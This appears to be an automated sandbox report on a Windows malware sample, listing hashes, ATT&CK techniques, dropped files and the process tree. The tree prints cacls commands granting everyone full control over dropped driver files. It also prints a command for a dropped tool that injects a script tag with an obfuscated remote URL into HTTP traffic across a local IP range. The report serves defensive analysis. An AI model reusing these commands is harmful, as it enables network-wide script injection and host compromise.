5f15488a7e355492829edaf3a8755619384dc725aa836eff1f3d364d5719e772

General

Target

b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
Size

525KB
MD5

b817832560fca5244ef3393152e3c7a8
SHA1

094de5817d77cef6339100698cf4c3df965383e2
SHA256

5f15488a7e355492829edaf3a8755619384dc725aa836eff1f3d364d5719e772
SHA512

9ae2333af910fe0ef90fdf125e6b99c88fc2a46881341ff2b55ed32dc862b7e88756fd69def7410911b72e6b1b1c6f6be64c97bae3f60c80b07e9076727c9094
SSDEEP

6144:EhcMSbFohE9q2PsXrSVew/X2+wZHeSPVep6s6BCF6GfEWfadRNH0QMgNoS4:ESNF2E9/cZw/X6eSPtfS6G6IgNoS4

Score

8^/10

discovery

Malware Config

Signatures

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\drivers\npf.sys	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
4324	360uczq.exe

Loads dropped DLL 5 IoCs

pid	Process
4324	360uczq.exe
4324	360uczq.exe
4324	360uczq.exe
4324	360uczq.exe
4324	360uczq.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\WanPacket.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\wpcap.dll	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
File created	C:\Windows\SysWOW64\360uczq.exe	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	360uczq.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 4884	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	89
PID 2880 wrote to memory of 4884	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	89
PID 2880 wrote to memory of 4884	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	89
PID 2880 wrote to memory of 1888	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	91
PID 2880 wrote to memory of 1888	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	91
PID 2880 wrote to memory of 1888	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	91
PID 2880 wrote to memory of 2364	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	93
PID 2880 wrote to memory of 2364	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	93
PID 2880 wrote to memory of 2364	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	93
PID 2880 wrote to memory of 1184	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	97
PID 2880 wrote to memory of 1184	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	97
PID 2880 wrote to memory of 1184	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	97
PID 2880 wrote to memory of 1348	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	101
PID 2880 wrote to memory of 1348	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	101
PID 2880 wrote to memory of 1348	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	101
PID 2880 wrote to memory of 4324	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	106
PID 2880 wrote to memory of 4324	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	106
PID 2880 wrote to memory of 4324	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	106
PID 2880 wrote to memory of 4052	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	109
PID 2880 wrote to memory of 4052	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	109
PID 2880 wrote to memory of 4052	2880	b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe	109

C:\Users\Admin\AppData\Local\Temp\b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b817832560fca5244ef3393152e3c7a8_JaffaCakes118.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2880
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\drivers\npf.sys /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4884
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\Packet.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1888
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\WanPacket.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2364
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\wpcap.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1184
- C:\Windows\SysWOW64\cacls.exe
  "C:\Windows\system32\cacls.exe" C:\Windows\system32\npptools.dll /e /p everyone:f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1348
- C:\Windows\SysWOW64\360uczq.exe
  -idx 0 -ip 10.127.0.2-10.127.0.254 -port 80 -insert "<script language=JavaScript src=http://c%61d.K%77%69k.%54o/tj.js></script>"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4324
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 12.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\12.bat

Filesize
2KB

MD5
879d75bc6bed2e1f30abd91f361f66b9

SHA1
4a5bb4b3dcd6ec251486ad4040e47e4bf566391f

SHA256
b843640f36bad63e06b554fcf02c6485bf4a9fe085484dfe5a6d90adbfa81a36

SHA512
ac55885e35577a2d1f5ab4a7ba35135cf163616f489cf0849fe5ed9b0e8e1e2f6573be8c3d95f8deca7fecc7b3452888d40c930bee2eca99149db167dd6d4a95

Download Submit
C:\Windows\SysWOW64\360uczq.exe

Filesize
8.0MB

MD5
a9c6fe21771bce09fe8f82dd463e8863

SHA1
b18aa37b478bd3facde96f2250a18647846b8a60

SHA256
8c6dcfb66910948270114d1dc1e272f1158d149e49873de02bb1a9cc1f78b991

SHA512
1e4abecbeb1750ab037fd4bef1b4b686dce96580a7efba7ee7189e6269e6a6cc62df9bb795dec2a08d59772bfa074e3331c821b04c6ab040bc2aba5263a24f69

Download Submit
C:\Windows\SysWOW64\Packet.dll

Filesize
86KB

MD5
9062aeea8cbfc4f0780bbbefad7cebcb

SHA1
c4ad39ec51ad0e84fe58f62931d13cddfde3189e

SHA256
b2535129b26366484c487cc2ce536d8fcfa9d1ac1dab0db9560b4532012c352c

SHA512
60957548fc2272998aea518acf3b1812ed77f73e960a99ddf0d6b474b0858225286c26554bf81c00acf3cb1c77c5ce458d80e149ed4766287d7e32af9681e646

Download Submit
C:\Windows\SysWOW64\WanPacket.dll

Filesize
66KB

MD5
fdd104a9fd3427a1df37041fa947a041

SHA1
cca1881a3c02033008f78cc39b712b637c7f3e13

SHA256
384e928f13bc1c25ca16b3247d7ca942aec6834fadb05b1487f2c975678d4a9a

SHA512
9dd082eb245b443cc75b37c69f0a17e15fcb9cdb676b058d87f9805ec7a928e721a681b940fcdd56fd81da4d308f0d514870c526c4f9c715b256a97ab6bb29f7

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
234KB

MD5
ce842d25e5b7e6ff21a86cad9195fbe8

SHA1
d762270be089a89266b012351b52c595e260b59b

SHA256
7e8c0119f352424c61d6fad519394924b7aedbf8bfb3557d53c2961747d4c7f3

SHA512
84c23addda6ff006d4a3967b472af10a049b2a045d27d988d22153fc3ba517e21520a31eb061a2ef2abf302e365564dd4601d240ec3d5894fb96f10a9fae97d6

Download Submit
memory/2880-0-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2880-1-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/2880-24-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/4324-9-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/4324-20-0x0000000000490000-0x00000000004A0000-memory.dmp

Filesize
64KB

Download
memory/4324-21-0x0000000000400000-0x000000000040F000-memory.dmp

Filesize
60KB

Download
memory/4324-16-0x0000000000430000-0x0000000000445000-memory.dmp

Filesize
84KB

Download

Analysis

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